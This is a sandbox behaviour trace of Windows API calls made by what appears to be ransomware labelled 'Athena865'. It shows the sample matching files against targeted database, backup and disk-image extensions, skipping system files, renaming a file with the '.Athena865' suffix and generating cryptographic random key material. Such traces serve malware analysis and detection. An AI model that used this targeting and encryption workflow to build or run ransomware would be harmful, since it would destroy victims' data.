lstrlenW (lpString="accdb") returned 5 [0132.158] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0132.158] lstrlenW (lpString="accdc") returned 5 [0132.158] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0132.158] lstrlenW (lpString="accde") returned 5 [0132.158] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0132.158] lstrlenW (lpString="accdr") returned 5 [0132.158] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0132.158] lstrlenW (lpString="accdt") returned 5 [0132.158] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0132.158] lstrlenW (lpString="accdw") returned 5 [0132.158] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0132.158] lstrlenW (lpString="accft") returned 5 [0132.158] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0132.158] lstrlenW (lpString="adb") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.159] lstrlenW (lpString="adb") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.159] lstrlenW (lpString="ade") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0132.159] lstrlenW (lpString="adf") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0132.159] lstrlenW (lpString="adn") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0132.159] lstrlenW (lpString="adp") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0132.159] lstrlenW (lpString="alf") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0132.159] lstrlenW (lpString="ask") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0132.159] lstrlenW (lpString="btr") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0132.159] lstrlenW (lpString="cat") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0132.159] lstrlenW (lpString="cdb") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0132.159] lstrlenW (lpString="ckp") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0132.159] lstrlenW (lpString="cma") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0132.159] lstrlenW (lpString="cpd") returned 3 [0132.159] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0132.159] lstrlenW (lpString="dacpac") returned 6 [0132.160] lstrcmpiW (lpString1="4_.WMF", lpString2="dacpac") returned -1 [0132.160] lstrlenW (lpString="dad") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0132.160] lstrlenW (lpString="dadiagrams") returned 10 [0132.160] lstrcmpiW (lpString1="02264_.WMF", lpString2="dadiagrams") returned -1 [0132.160] lstrlenW (lpString="daschema") returned 8 [0132.160] lstrcmpiW (lpString1="264_.WMF", lpString2="daschema") returned -1 [0132.160] lstrlenW (lpString="db-journal") returned 10 [0132.160] lstrcmpiW (lpString1="02264_.WMF", lpString2="db-journal") returned -1 [0132.160] lstrlenW (lpString="db-shm") returned 6 [0132.160] lstrcmpiW (lpString1="4_.WMF", lpString2="db-shm") returned -1 [0132.160] lstrlenW (lpString="db-wal") returned 6 [0132.160] lstrcmpiW (lpString1="4_.WMF", lpString2="db-wal") returned -1 [0132.160] lstrlenW (lpString="dbc") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0132.160] lstrlenW (lpString="dbs") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0132.160] lstrlenW (lpString="dbt") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0132.160] lstrlenW (lpString="dbv") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0132.160] lstrlenW (lpString="dbx") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0132.160] lstrlenW (lpString="dcb") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0132.160] lstrlenW (lpString="dct") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0132.160] lstrlenW (lpString="dcx") returned 3 [0132.160] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0132.161] lstrlenW (lpString="ddl") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0132.161] lstrlenW (lpString="dlis") returned 4 [0132.161] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0132.161] lstrlenW (lpString="dp1") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0132.161] lstrlenW (lpString="dqy") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0132.161] lstrlenW (lpString="dsk") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0132.161] lstrlenW (lpString="dsn") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0132.161] lstrlenW (lpString="dtsx") returned 4 [0132.161] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0132.161] lstrlenW (lpString="dxl") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0132.161] lstrlenW (lpString="eco") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0132.161] lstrlenW (lpString="ecx") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0132.161] lstrlenW (lpString="edb") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0132.161] lstrlenW (lpString="epim") returned 4 [0132.161] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0132.161] lstrlenW (lpString="fcd") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0132.161] lstrlenW (lpString="fdb") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0132.161] lstrlenW (lpString="fic") returned 3 [0132.161] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0132.162] lstrlenW (lpString="flexolibrary") returned 12 [0132.162] lstrlenW (lpString="fm5") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0132.162] lstrlenW (lpString="fmp") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0132.162] lstrlenW (lpString="fmp12") returned 5 [0132.162] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0132.162] lstrlenW (lpString="fmpsl") returned 5 [0132.162] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0132.162] lstrlenW (lpString="fol") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0132.162] lstrlenW (lpString="fp3") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0132.162] lstrlenW (lpString="fp4") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0132.162] lstrlenW (lpString="fp5") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0132.162] lstrlenW (lpString="fp7") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0132.162] lstrlenW (lpString="fpt") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0132.162] lstrlenW (lpString="frm") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0132.162] lstrlenW (lpString="gdb") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0132.162] lstrlenW (lpString="gdb") returned 3 [0132.162] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0132.162] lstrlenW (lpString="grdb") returned 4 [0132.163] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0132.163] lstrlenW (lpString="gwi") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0132.163] lstrlenW (lpString="hdb") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0132.163] lstrlenW (lpString="his") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0132.163] lstrlenW (lpString="ib") returned 2 [0132.163] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0132.163] lstrlenW (lpString="idb") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0132.163] lstrlenW (lpString="ihx") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0132.163] lstrlenW (lpString="itdb") returned 4 [0132.163] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0132.163] lstrlenW (lpString="itw") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0132.163] lstrlenW (lpString="jet") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0132.163] lstrlenW (lpString="jtx") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0132.163] lstrlenW (lpString="kdb") returned 3 [0132.163] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0132.163] lstrlenW (lpString="kexi") returned 4 [0132.163] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0132.163] lstrlenW (lpString="kexic") returned 5 [0132.163] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0132.164] lstrlenW (lpString="kexis") returned 5 [0132.164] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0132.164] lstrlenW (lpString="lgc") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0132.164] lstrlenW (lpString="lwx") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0132.164] lstrlenW (lpString="maf") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0132.164] lstrlenW (lpString="maq") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0132.164] lstrlenW (lpString="mar") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0132.164] lstrlenW (lpString="marshal") returned 7 [0132.164] lstrcmpiW (lpString1="64_.WMF", lpString2="marshal") returned -1 [0132.164] lstrlenW (lpString="mas") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0132.164] lstrlenW (lpString="mav") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0132.164] lstrlenW (lpString="maw") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0132.164] lstrlenW (lpString="mdbhtml") returned 7 [0132.164] lstrcmpiW (lpString1="64_.WMF", lpString2="mdbhtml") returned -1 [0132.164] lstrlenW (lpString="mdn") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0132.164] lstrlenW (lpString="mdt") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0132.164] lstrlenW (lpString="mfd") returned 3 [0132.164] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0132.165] lstrlenW (lpString="mpd") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0132.165] lstrlenW (lpString="mrg") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0132.165] lstrlenW (lpString="mud") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0132.165] lstrlenW (lpString="mwb") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0132.165] lstrlenW (lpString="myd") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0132.165] lstrlenW (lpString="ndf") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0132.165] lstrlenW (lpString="nnt") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0132.165] lstrlenW (lpString="nrmlib") returned 6 [0132.165] lstrcmpiW (lpString1="4_.WMF", lpString2="nrmlib") returned -1 [0132.165] lstrlenW (lpString="ns2") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0132.165] lstrlenW (lpString="ns3") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0132.165] lstrlenW (lpString="ns4") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0132.165] lstrlenW (lpString="nsf") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0132.165] lstrlenW (lpString="nv") returned 2 [0132.165] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0132.165] lstrlenW (lpString="nv2") returned 3 [0132.165] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0132.165] lstrlenW (lpString="nwdb") returned 4 [0132.166] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0132.166] lstrlenW (lpString="nyf") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0132.166] lstrlenW (lpString="odb") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0132.166] lstrlenW (lpString="odb") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0132.166] lstrlenW (lpString="oqy") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0132.166] lstrlenW (lpString="ora") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0132.166] lstrlenW (lpString="orx") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0132.166] lstrlenW (lpString="owc") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0132.166] lstrlenW (lpString="p96") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0132.166] lstrlenW (lpString="p97") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0132.166] lstrlenW (lpString="pan") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0132.166] lstrlenW (lpString="pdb") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0132.166] lstrlenW (lpString="pdm") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0132.166] lstrlenW (lpString="pnz") returned 3 [0132.166] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0132.166] lstrlenW (lpString="qry") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0132.167] lstrlenW (lpString="qvd") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0132.167] lstrlenW (lpString="rbf") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0132.167] lstrlenW (lpString="rctd") returned 4 [0132.167] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0132.167] lstrlenW (lpString="rod") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0132.167] lstrlenW (lpString="rodx") returned 4 [0132.167] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0132.167] lstrlenW (lpString="rpd") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0132.167] lstrlenW (lpString="rsd") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0132.167] lstrlenW (lpString="sas7bdat") returned 8 [0132.167] lstrcmpiW (lpString1="264_.WMF", lpString2="sas7bdat") returned -1 [0132.167] lstrlenW (lpString="sbf") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0132.167] lstrlenW (lpString="scx") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0132.167] lstrlenW (lpString="sdb") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0132.167] lstrlenW (lpString="sdc") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0132.167] lstrlenW (lpString="sdf") returned 3 [0132.167] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0132.167] lstrlenW (lpString="sis") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0132.168] lstrlenW (lpString="spq") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0132.168] lstrlenW (lpString="te") returned 2 [0132.168] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0132.168] lstrlenW (lpString="teacher") returned 7 [0132.168] lstrcmpiW (lpString1="64_.WMF", lpString2="teacher") returned -1 [0132.168] lstrlenW (lpString="tmd") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0132.168] lstrlenW (lpString="tps") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0132.168] lstrlenW (lpString="trc") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0132.168] lstrlenW (lpString="trc") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0132.168] lstrlenW (lpString="trm") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0132.168] lstrlenW (lpString="udb") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0132.168] lstrlenW (lpString="udl") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0132.168] lstrlenW (lpString="usr") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0132.168] lstrlenW (lpString="v12") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0132.168] lstrlenW (lpString="vis") returned 3 [0132.168] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0132.168] lstrlenW (lpString="vpd") returned 3 [0132.169] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0132.169] lstrlenW (lpString="vvv") returned 3 [0132.169] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0132.169] lstrlenW (lpString="wdb") returned 3 [0132.169] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0132.169] lstrlenW (lpString="wmdb") returned 4 [0132.169] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0132.169] lstrlenW (lpString="wrk") returned 3 [0132.169] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0132.169] lstrlenW (lpString="xdb") returned 3 [0132.169] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0132.169] lstrlenW (lpString="xld") returned 3 [0132.169] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0132.169] lstrlenW (lpString="xmlff") returned 5 [0132.169] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0132.169] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.Athena865") returned 73 [0132.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.171] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2272) returned 1 [0132.171] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.171] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.171] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.173] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.174] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.174] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2=".") returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="..") returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="windows") returned -1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="bootmgr") returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="temp") returned -1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="pagefile.sys") returned -1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="boot") returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="ids.txt") returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="ntuser.dat") returned -1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="perflogs") returned -1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2="MSBuild") returned 1 [0132.175] lstrlenW (lpString="NA02356_.WMF") returned 12 [0132.175] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02356_.WMF" | out: lpString1="NA02356_.WMF") returned="NA02356_.WMF" [0132.175] lstrlenW (lpString="NA02356_.WMF") returned 12 [0132.175] lstrlenW (lpString="Athena865") returned 9 [0132.175] lstrcmpiW (lpString1="2356_.WMF", lpString2="Athena865") returned -1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2=".dll") returned 1 [0132.175] lstrcmpiW (lpString1="NA02356_.WMF", lpString2=".lnk") returned 1 [0132.176] lstrcmpiW (lpString1="NA02356_.WMF", lpString2=".ini") returned 1 [0132.176] lstrcmpiW (lpString1="NA02356_.WMF", lpString2=".sys") returned 1 [0132.176] lstrlenW (lpString="NA02356_.WMF") returned 12 [0132.176] lstrlenW (lpString="bak") returned 3 [0132.176] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0132.176] lstrlenW (lpString="ba_") returned 3 [0132.176] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0132.176] lstrlenW (lpString="dbb") returned 3 [0132.176] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0132.176] lstrlenW (lpString="vmdk") returned 4 [0132.176] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0132.176] lstrlenW (lpString="rar") returned 3 [0132.176] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0132.176] lstrlenW (lpString="zip") returned 3 [0132.176] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0132.176] lstrlenW (lpString="tgz") returned 3 [0132.176] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0132.176] lstrlenW (lpString="vbox") returned 4 [0132.176] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0132.176] lstrlenW (lpString="vdi") returned 3 [0132.176] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0132.176] lstrlenW (lpString="vhd") returned 3 [0132.176] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0132.176] lstrlenW (lpString="vhdx") returned 4 [0132.176] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0132.176] lstrlenW (lpString="avhd") returned 4 [0132.176] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0132.176] lstrlenW (lpString="db") returned 2 [0132.177] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0132.177] lstrlenW (lpString="db2") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0132.177] lstrlenW (lpString="db3") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0132.177] lstrlenW (lpString="dbf") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0132.177] lstrlenW (lpString="mdf") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0132.177] lstrlenW (lpString="mdb") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0132.177] lstrlenW (lpString="sql") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0132.177] lstrlenW (lpString="sqlite") returned 6 [0132.177] lstrcmpiW (lpString1="6_.WMF", lpString2="sqlite") returned -1 [0132.177] lstrlenW (lpString="sqlite3") returned 7 [0132.177] lstrcmpiW (lpString1="56_.WMF", lpString2="sqlite3") returned -1 [0132.177] lstrlenW (lpString="sqlitedb") returned 8 [0132.177] lstrcmpiW (lpString1="356_.WMF", lpString2="sqlitedb") returned -1 [0132.177] lstrlenW (lpString="xml") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0132.177] lstrlenW (lpString="$er") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0132.177] lstrlenW (lpString="4dd") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0132.177] lstrlenW (lpString="4dl") returned 3 [0132.177] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0132.177] lstrlenW (lpString="^^^") returned 3 [0132.178] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0132.178] lstrlenW (lpString="abs") returned 3 [0132.178] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0132.178] lstrlenW (lpString="abx") returned 3 [0132.178] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0132.178] lstrlenW (lpString="accdb") returned 5 [0132.178] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0132.178] lstrlenW (lpString="accdc") returned 5 [0132.178] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0132.178] lstrlenW (lpString="accde") returned 5 [0132.178] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0132.178] lstrlenW (lpString="accdr") returned 5 [0132.178] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0132.178] lstrlenW (lpString="accdt") returned 5 [0132.178] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0132.178] lstrlenW (lpString="accdw") returned 5 [0132.178] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0132.178] lstrlenW (lpString="accft") returned 5 [0132.178] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0132.178] lstrlenW (lpString="adb") returned 3 [0132.178] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.178] lstrlenW (lpString="adb") returned 3 [0132.178] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0132.178] lstrlenW (lpString="ade") returned 3 [0132.178] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0132.178] lstrlenW (lpString="adf") returned 3 [0132.178] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0132.178] lstrlenW (lpString="adn") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0132.179] lstrlenW (lpString="adp") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0132.179] lstrlenW (lpString="alf") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0132.179] lstrlenW (lpString="ask") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0132.179] lstrlenW (lpString="btr") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0132.179] lstrlenW (lpString="cat") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 